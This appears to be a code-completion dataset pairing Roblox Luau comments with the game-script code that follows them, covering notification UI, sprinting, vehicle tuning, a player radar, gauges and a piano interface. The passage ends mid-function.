prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; GetEnv = nil; gTable = nil; return function(p1) local l__PlayerGui__1 = service.PlayerGui; local l__LocalPlayer__2 = service.Players.LocalPlayer; local l__Parent__3 = script.Parent.Parent; local l__Frame__4 = l__Parent__3:WaitForChild("Frame"); local l__Main__5 = l__Frame__4:WaitForChild("Main"); local l__Close__6 = l__Frame__4:WaitForChild("Close"); local l__Timer__7 = l__Frame__4:WaitForChild("Timer"); local v8 = p1.OnClick; local v9 = p1.OnClose; local v10 = p1.OnIgnore; local l__Title__11 = p1.Title; local v12 = p1.Message or (p1.Text or ""); local v13 = p1.Time; local v14 = p1.Icon or client.MatIcons.Info; if v8 and type(v8) == "string" then v8 = client.Core.LoadCode(v8, GetEnv()); end; if v9 and type(v9) == "string" then v9 = client.Core.LoadCode(v9, GetEnv()); end; if v10 and type(v10) == "string" then v10 = client.Core.LoadCode(v10, GetEnv()); end; local v15 = client.UI.Get("NotificationHolder", nil, true); if not v15 then client.UI.Make("NotificationHolder"); v15 = client.UI.Get("NotificationHolder", nil, true); v15.Object.ScrollingFrame.Active = false; end; l__Frame__4:WaitForChild("Title").Text = l__Title__11; l__Main__5.Text = v12; l__Frame__4:WaitForChild("Icon").Image = v14; local v16 = { Type = "Notification", Title = l__Title__11, Message = v12, Icon = v14 and 0, Time = os.date("%X"), Function = v8 }; table.insert(client.Variables.CommunicationsHistory, v16); service.Events.CommsCenter:Fire(v16); l__Main__5.MouseButton1Click:Connect(function() if l__Parent__3 and l__Parent__3.Parent then if v8 then v8(); end; l__Parent__3:Destroy(); end; end); local l__gTable__1 = p1.gTable; l__Close__6.MouseButton1Click:Connect(function() if l__Parent__3 and l__Parent__3.Parent then if v9 then v9(); end; l__gTable__1:Destroy(); end; end); l__Parent__3.Parent = v15.Object.ScrollingFrame; task.spawn(function() local v17 = Instance.new("Sound", service.LocalContainer()); v17.SoundId = "rbxassetid://203785584"; v17.Volume = 0.2; v17:Play(); wait(0.5); v17:Destroy(); end); if v13 then l__Timer__7.Visible = true; while true do l__Timer__7.Text = v13; wait(1); v13 = v13 - 1; if v13 <= 0 then break; end; if not l__Parent__3 then break; end; if not l__Parent__3.Parent then break; end; end; if l__Parent__3 and l__Parent__3.Parent then if l__Parent__3 then l__Parent__3:Destroy(); end; if v10 then v10(); end; end; end; return nil; end;
--[=[ Gives a promise to the maid for clean. @param promise Promise<T> @return Promise<T> ]=]
function Maid:GivePromise(promise) if not promise:IsPending() then return promise end local newPromise = promise.resolved(promise) local id = self:GiveTask(newPromise) -- Ensure GC newPromise:Finally(function() self[id] = nil end) return newPromise end
-- this script just puts the animator in the humanoid
local modules = game:GetService("ReplicatedStorage"):WaitForChild("Modules", 5) local humanoid = script.Parent:WaitForChild("Humanoid", 5) if modules and humanoid then local animator = modules:WaitForChild("AnimationSystem", 5) if animator then animator:Clone().Parent = humanoid wait(1) script:Destroy() end end
--[[Misc]]
Tune.LoadDelay = .3 -- Delay before initializing chassis (in seconds) Tune.AutoStart = false -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin
--< Variables >--
local Speed = 25 -- How fast is the sprinting speed? local Key = Enum.KeyCode.LeftShift -- Activation Key UIS.InputBegan:Connect(function(Input, Processed) if not Processed then if Input.UserInputType == Enum.UserInputType.Keyboard and Input.KeyCode == Key then Humanoid.WalkSpeed = Speed end end end) UIS.InputEnded:Connect(function(Input) if Input.UserInputType == Enum.UserInputType.Keyboard and Input.KeyCode == Key then Humanoid.WalkSpeed = DefaultWalkingSpeed end end)
--////////////////////////////// Include --//////////////////////////////////////
local Chat = game:GetService("Chat") local clientChatModules = Chat:WaitForChild("ClientChatModules") local modulesFolder = script.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
--
local scripts_folder = script.Parent; local frame = scripts_folder.Parent; local icon = frame.PlayerIcon; local template = icon:Clone(); local mode_folder = frame.Mode; local radar = frame.Parent; waitForChild(radar, {'Identifier'; 'Location'}) local identifierLabel = radar.Identifier; local locationButton = radar.Location; waitForChild(mode_folder, {'Search'; 'Target'}); local mode = mode_folder.Search; local target = mode_folder.Target; local colorList = { [BrickColor.new(226)] = true; [BrickColor.new(24)] = true; [BrickColor.new(106)] = true; [BrickColor.new(119)] = true; [BrickColor.new(1025)] = true; [BrickColor.new(38)] = true; [BrickColor.new(11)] = true; [BrickColor.new(1006)] = true; [BrickColor.new(1016)] = true; [BrickColor.new(21)] = true; } local modeList = { 'Closest'; 'Farthest'; } local function getCurrentModeNumber() for index, choice in next, modeList do if mode.Value == choice then return index; end end end local function toV2(v3) return Vector2.new(v3.x, v3.z); end local function addCharactersInRange() for index, instance in next, workspace:GetChildren() do if instance:IsA('Model') and findChildren(instance, body) and not (instance == character) then if not ((toV2(instance.Torso.Position) - toV2(character.Torso.Position)).magnitude > distance) then characters[#characters + 1] = {instance; instance.Torso.Position - character.Torso.Position}; end end end end local function clearParentOf(parent, list) local iterations = #parent:GetChildren(); for index, name in next, list do for i = 1, iterations do if parent:FindFirstChild(name) then parent[name]:Destroy(); end end iterations = #parent:GetChildren(); end end local function assignColor(instance) local chosen spawn(function() if not chosen then for color, enabled in next, colorList do colorList[color] = true; end assignColor(instance); end end) for color, enabled in next, colorList do if enabled then colors[instance] = color; chosen = true; colorList[color] = false; return end end end local function returnRangeFromMode(mode) if mode == 'Closest' then return 50; elseif mode == 'Farthest' then return 0; end end local function searchPriority() local range = returnRangeFromMode(mode.Value); local result = false; for index, information in next, characters do local located = information[1]; local deltaP = information[2]; local current = toV2(deltaP).magnitude; if mode.Value == 'Closest' then if current < range then range = current; target.Value = located.Name; result = true; end elseif mode.Value == 'Farthest' then if current > range then range = current; target.Value = located.Name; result = true; end end end if not result then target.Value = 'None'; end end locationButton.MouseButton1Click:connect(function() local current = getCurrentModeNumber(); local nextNumber = not (current + 1 > #modeList) and current + 1 or 1; mode.Value = modeList[nextNumber]; end) mode.Changed:connect(function() locationButton.Text = mode.Value .. ':'; end) game:GetService('RunService').RenderStepped:connect(function() clearParentOf(frame, {'Player'}); local characterSize = character:GetModelSize() local lookDirection = character.Head.CFrame.lookVector; local cameraDirection = camera.CoordinateFrame.lookVector; local rotation = math.atan2(lookDirection.Z, lookDirection.X); icon.Rotation = math.deg(rotation) + 180; rotation = math.atan2(cameraDirection.Z, cameraDirection.X); frame.Rotation = -(math.deg(rotation) - 90); characters = {}; addCharactersInRange(); for index, information in next, characters do local clone = template:Clone(); local located = information[1]; local deltaP = information[2]; local symbol = deltaP.Y < -characterSize.Y and '-' or (deltaP.Y > characterSize.Y and '+' or ''); local facingDirection = located.Head.CFrame.lookVector local rotation = math.atan2(facingDirection.Z, facingDirection.X); local xScale, yScale = 0.4 + (-deltaP.X / distance) / (3), 0.4 + (-deltaP.Z / distance) / (3); -- xScale = (not (xScale > 1) and xScale or 1) and (not (xScale < 0) and xScale or 0); -- yScale = (not (yScale > 1) and yScale or 1) and (not (yScale < 0) and yScale or 0); if not colors[located] then assignColor(located); end clone.ZIndex = deltaP.Y < -characterSize.Y and (icon.ZIndex - 1) or (deltaP.Y > characterSize.Y and (icon.ZIndex + 1)); clone.Rotation = math.deg(rotation) + 180; clone.TextColor = colors[located] or BrickColor.Random(); clone.Name = 'Player'; clone.Position = UDim2.new(xScale, 0, yScale, 0); clone.Text = symbol .. '>' clone.Parent = frame end searchPriority(); identifierLabel.Text = target.Value; end)
-- This script makes everytime a player get damage, the blood will come out --
function MakeBlood() local blood = Instance.new("Part") blood.Size = Vector3.new(1,1,1) blood.Name = "Blood" blood.Transparency = 1 blood.BrickColor = BrickColor.new("Crimson") blood.CanCollide = false blood.BottomSurface = "Smooth" blood.TopSurface = "Smooth" blood.Material = "SmoothPlastic" blood.Velocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) local billboard = script.BillboardGui:Clone() billboard.Parent = blood local gui = script.BloodGui:Clone() gui.Parent = billboard game:GetService("Debris"):AddItem(blood, 5) local CC = math.random(1,2)
--[[Misc]]
Tune.LoadDelay = 3.0 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin Tune.AutoUpdate = true -- Automatically applies minor updates to the chassis if any are found. -- Will NOT apply major updates, but will notify you of any. -- Set to false to mute notifications, or if using modified Drive.
--[[ Manages the camera movement when interacting with a surface art. ]]
local TweenService = game:GetService("TweenService") local constants = require(script.Parent.Parent.Constants) local CANVAS_OFFSET_PADDING = 10 local MAX_STUDS_OFFSET = 25 local MIN_STUDS_OFFSET = 5 local CameraModule = {} CameraModule.__index = CameraModule
--[=[ @param msg string Throws an error with `msg` as the error message if the value is _not_ None. ]=]
function Option:ExpectNone(msg) assert(self:IsNone(), msg) end
--------END RIGHT DOOR --------
game.Workspace.LightedDoorON.Value = false
--!native
local UserInput = game:GetService("UserInputService") local ModelLoader = require(game.ReplicatedStorage.ModelLoader) local WeldModule = require(game.ReplicatedStorage.Weld) function KeysToStrings(Objects) local Temp = {} for i,v in pairs(Objects) do table.insert(Temp, v.KeyCode.Name) end return Temp end function AreKeysDown(tbl) task.synchronize() local Count = 0 for i,Key in pairs(tbl) do if UserInput:IsKeyDown(Enum.KeyCode[Key]) then Count+=1 end end task.desynchronize() if Count > 0 then return true else return false end end function V3Clamp(vector, min, max) return Vector3.new(math.clamp(vector.X, min, max), math.clamp(vector.Y, min, max), math.clamp(vector.Z, min, max)) end local Players = {} function MakeCharacter() local Character = {} local Head = ModelLoader.LoadFromName("Cube") Head.Size = Vector3.new(2,1,1) Head:SetColor(255,255,0) Head.Name = "Head" Head.CanCollide = false Head.Anchored = false Character.Head = Head local Root = ModelLoader.LoadFromName("Cube") Root.Size = Vector3.new(2,2,1) Root:SetColor(165,165,165) Root.Rendered = true Root.CFrame = CFrame.new(0,3,0) Root.Name = "HumanoidRootPart" Root.PhysicsMover.Offset = Vector3.new(0,-2,0) Root.Anchored = false Character.HumanoidRootPart = Root local Torso = ModelLoader.LoadFromName("Cube") Torso.Size = Vector3.new(2,2,1) Torso:SetColor(0,165,255) Torso.Name = "Torso" Torso.CanCollide = false Torso.Anchored = false Character.Torso = Torso local RightArm = ModelLoader.LoadFromName("Cube") RightArm.Size = Vector3.new(1,2,1) RightArm:SetColor(255,255,0) RightArm.Name = "Right Arm" RightArm.CanCollide = false RightArm.Anchored = false Character["Right Arm"] = RightArm local LeftArm = ModelLoader.LoadFromName("Cube") LeftArm.Size = Vector3.new(1,2,1) LeftArm:SetColor(255,255,0) LeftArm.Name = "Left Arm" LeftArm.CanCollide = false LeftArm.Anchored = false Character["Left Arm"] = LeftArm local RightLeg = ModelLoader.LoadFromName("Cube") RightLeg.Size = Vector3.new(1,2,1) RightLeg:SetColor(0,165,0) RightLeg.Name = "Right Leg" RightLeg.CanCollide = false RightLeg.Anchored = false Character["Right Leg"] = RightLeg local LeftLeg = ModelLoader.LoadFromName("Cube") LeftLeg.Size = Vector3.new(1,2,1) LeftLeg:SetColor(0,165,0) LeftLeg.Name = "Left Leg" LeftLeg.CanCollide = false LeftLeg.Anchored = false Character["Left Leg"] = LeftLeg Character.PrimaryPart = Character.HumanoidRootPart local RootJoint = WeldModule.new("RootJoint", Root, Torso, CFrame.new(0,0,0), CFrame.new(0,0,0)) local Neck = WeldModule.new("Neck", Torso, Head, CFrame.new(0, 1, 0), CFrame.new(0, -0.5, 0)) local RightShoulder = WeldModule.new("RightShoulder", Torso, RightArm, CFrame.new(1, 0.5, 0), CFrame.new(-0.5, 0.5, 0)) local LeftShoulder = WeldModule.new("LeftShoulder", Torso, LeftArm, CFrame.new(-1, 0.5, 0), CFrame.new(0.5, 0.5, 0)) local RightHip = WeldModule.new("RightHip", Torso, RightLeg, CFrame.new(1, -1, 0), CFrame.new(0.5, 1, 0)) local LeftHip = WeldModule.new("LeftHip", Torso, LeftLeg, CFrame.new(-1, -1, 0), CFrame.new(-0.5, 1, 0)) Character.HumanoidRootPart.RootJoint = RootJoint Character.Torso.Neck = Neck Character.Torso["Right Shoulder"] = RightShoulder Character.Torso["Left Shoulder"] = LeftShoulder Character.Torso["Right Hip"] = RightHip Character.Torso["Left Hip"] = LeftHip Character.BaseWelds = WeldModule:GetBaseWelds() return Character end function Players.new(Camera, Speed) local Player = {} Player.Character = MakeCharacter() Player.CurrentCamera = Camera Player.CameraSubject = Player.Character.PrimaryPart Player.CameraOffset = Vector3.new(0,5,7) Player.CameraRot = Vector3.new(0,0,0) Player.Speed = Speed Player.Walking = false Player.Jump = true Player.OnGround = true Player.Animation = "Idle" Player.Sine = 0 function Player:PlayAnimation(Name) local RightShoulder = Player.Character.Torso["Right Shoulder"] local LeftShoulder = Player.Character.Torso["Left Shoulder"] local RightHip = Player.Character.Torso["Right Hip"] local LeftHip = Player.Character.Torso["Left Hip"] if Name == "Walk" then task.spawn(function() if Player.Animation ~= Name then Player.Animation = Name while Player.Animation == Name do RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0 * CFrame.Angles(math.rad(math.sin(Player.Sine/6)*40), 0, 0) LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0 * CFrame.Angles(-math.rad(math.sin(Player.Sine/6)*40), 0, 0) RightHip.C0 = Player.Character.BaseWelds.RightHip.C0 * CFrame.Angles(-math.rad(math.sin(Player.Sine/6)*40), 0, 0) LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0 * CFrame.Angles(math.rad(math.sin(Player.Sine/6)*40), 0, 0) Player.Sine+=1 task.wait() end Player.Animation = "Idle" end end) elseif Name == "Idle" then Player.Animation = "Idle" RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0 LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0 RightHip.C0 = Player.Character.BaseWelds.RightHip.C0 LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0 Player.Sine = 0 elseif Name == "Jump" then Player.Animation = "Jump" RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0 * CFrame.Angles(math.rad(180), 0, 0) LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0 * CFrame.Angles(math.rad(180), 0, 0) RightHip.C0 = Player.Character.BaseWelds.RightHip.C0 LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0 end end function Player:Movement() task.synchronize() local PressedKeys = KeysToStrings(UserInput:GetKeysPressed()) local MouseButton = UserInput:GetMouseButtonsPressed() task.desynchronize() local WalkKeys = {"W", "A", "S", "D"} local CameraKeys = {"Left", "Right", "Up", "Down"} for i,Key in pairs(WalkKeys) do task.synchronize() if UserInput:IsKeyDown(Enum.KeyCode[Key]) then if Key == "W" then Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(Player.CameraRot.Y), 0) --* CFrame.new(0, 0, -Speed) Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0) Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30 elseif Key == "S" then Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(180 + Player.CameraRot.Y), 0) Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0) Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30 elseif Key == "A" then Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(90 + Player.CameraRot.Y), 0) Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0) Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30 elseif Key == "D" then Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(-90 + Player.CameraRot.Y), 0) Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0) Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30 end Player.Walking = true if Player.Animation ~= "Jump" then Player:PlayAnimation("Walk") end end task.desynchronize() end task.synchronize() if (not AreKeysDown(WalkKeys)) and (Player.Walking == true) then Player.Walking = false Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0) Player:PlayAnimation("Idle") end task.desynchronize() for i,Key in pairs(CameraKeys) do task.synchronize() if UserInput:IsKeyDown(Enum.KeyCode[Key]) then if Key == "Right" then Player.CameraRot -= Vector3.new(0, 2, 0) elseif Key == "Left" then Player.CameraRot += Vector3.new(0, 2, 0) elseif Key == "Up" then Player.CameraRot += Vector3.new(2, 0, 0) elseif Key == "Down" then Player.CameraRot -= Vector3.new(2, 0, 0) end if Player.CameraRot.X > 125 then Player.CameraRot = Vector3.new(125, Player.CameraRot.Y, 0) elseif Player.CameraRot.X < -50 then Player.CameraRot = Vector3.new(-50, Player.CameraRot.Y, 0) end end task.desynchronize() end if Player.Character.PrimaryPart.PhysicsMover.CollidedNormal == Vector3.new(0,1,0) then Player.OnGround = true if Player.Animation ~= "Walk" then Player:PlayAnimation("Idle") end else Player.OnGround = false Player:PlayAnimation("Jump") end task.synchronize() if UserInput:IsKeyDown(Enum.KeyCode.Space) then if Player.OnGround == true and Player.Jump == true then Player.Jump = false Player.Character.PrimaryPart.Velocity += Vector3.new(0, 50, 0) task.spawn(function() task.wait(0.1) Player.Jump = true end) end end task.desynchronize() end function Player:Update() Player.CurrentCamera.CFrame = CFrame.new((CFrame.new(Player.CameraSubject.Position) * CFrame.Angles(0, math.rad(Player.CameraRot.Y), 0) * CFrame.Angles(math.rad(Player.CameraRot.X), 0, 0) * CFrame.new(Player.CameraOffset)).Position, Player.CameraSubject.Position) Player.CurrentCamera:Update(false) Player:Movement() WeldModule:Update() end return Player end return Players
-- Either a constant value of type T, or a state object containing type T.
export type CanBeState<T> = StateObject<T> | T
--[[ 1 ]] {"Delete","Music ID","Radio","Game Info","Settings"}, --[[ 2 ]] {"Yes","No"}, --[[ 3 ]] {"Set","Play","Stop","Back"}, --[[ 4 ]] {"Preset 1","Preset 2","Preset 3","Preset 4","Back"}, --[[ 5 ]] {"Filtered","PGS","Players","Back"}, --[[ 6 ]] {"Power","Dynamics","Background","Back"}, --[[ 7 ]] {"Valet","Eco","Comfort","Sport","Back"}, --[[ 8 ]] {"Eco","Comfort","Sport","Back"}, --[[ 9 ]] {"Model","Specs","Transmission","Info","Back"}, --[[ 10 ]]
{"Solar","Lunar","Aurora","Clarity","Back"}, } return module
--------| Reference |--------
local isStudio = _L.Services.RunService:IsStudio()
-- Hitpoints platform takes until game is over
GameSettings.PlatformHealthDifficulty = { Easy = 8, Normal = 6, Hard = 6 }
-- REQUIRED PARTS ---------------------------- -- Include these, or things will break!
local frontForceField = vehicle.FrontForceField local backForceField = vehicle.BackForceField local hood = vehicle.Hood local vehicleSmoke = hood.Smoke local wheel_frontLeft = vehicle.Wheel_FrontLeft local wheel_frontRight = vehicle.Wheel_FrontRight local wheel_backLeft = vehicle.Wheel_BackLeft local wheel_backRight = vehicle.Wheel_BackRight
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = 0 if _Tune.Aspiration ~= "Natural" and _Tune.Engine then if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end values.Boost.Changed:connect(function() local boost = math.floor(values.Boost.Value) if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount)) gauges.PSI.Text = tostring(math.floor(boost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Semi" then gauges.TMode.Text = "S/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "M/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then gauges.Visible=not gauges.Visible end end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
--[=[ @within Signal @interface SignalConnection .Connected boolean .Disconnect (SignalConnection) -> () Represents a connection to a signal. ```lua local connection = signal:Connect(function() end) print(connection.Connected) --> true connection:Disconnect() print(connection.Connected) --> false ``` ]=]
--[[Steering]]
Tune.SteerInner = 39 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 41 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function ShowPiano() PianoGui:TweenPosition( UDim2.new(0.5, -355, 1, -230), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function HidePiano() PianoGui:TweenPosition( UDim2.new(0.5, -380, 1, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function ShowSheets() SheetsGui:TweenPosition( UDim2.new(0.5, -200, 1, -520), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function HideSheets() SheetsGui:TweenPosition( UDim2.new(0.5, -200, 1, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, .5, true ) end function ToggleSheets() SheetsVisible = not SheetsVisible if SheetsVisible then ShowSheets() else HideSheets() end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end function HighlightPianoKey(note) if note < 62 and note > 0 then local keyGui = PianoGui.Keys[note] if IsBlack(note) then keyGui.BackgroundColor3 = Color3.new(50/255, 50/255, 50/255) else keyGui.BackgroundColor3 = Color3.new(200/255, 200/255, 200/255) end delay(.5, function() RestorePianoKey(note) end) else delay(.5, function() RestorePianoKey(note) end) end end function RestorePianoKey(note) if note < 62 and note > 0 then local keyGui = 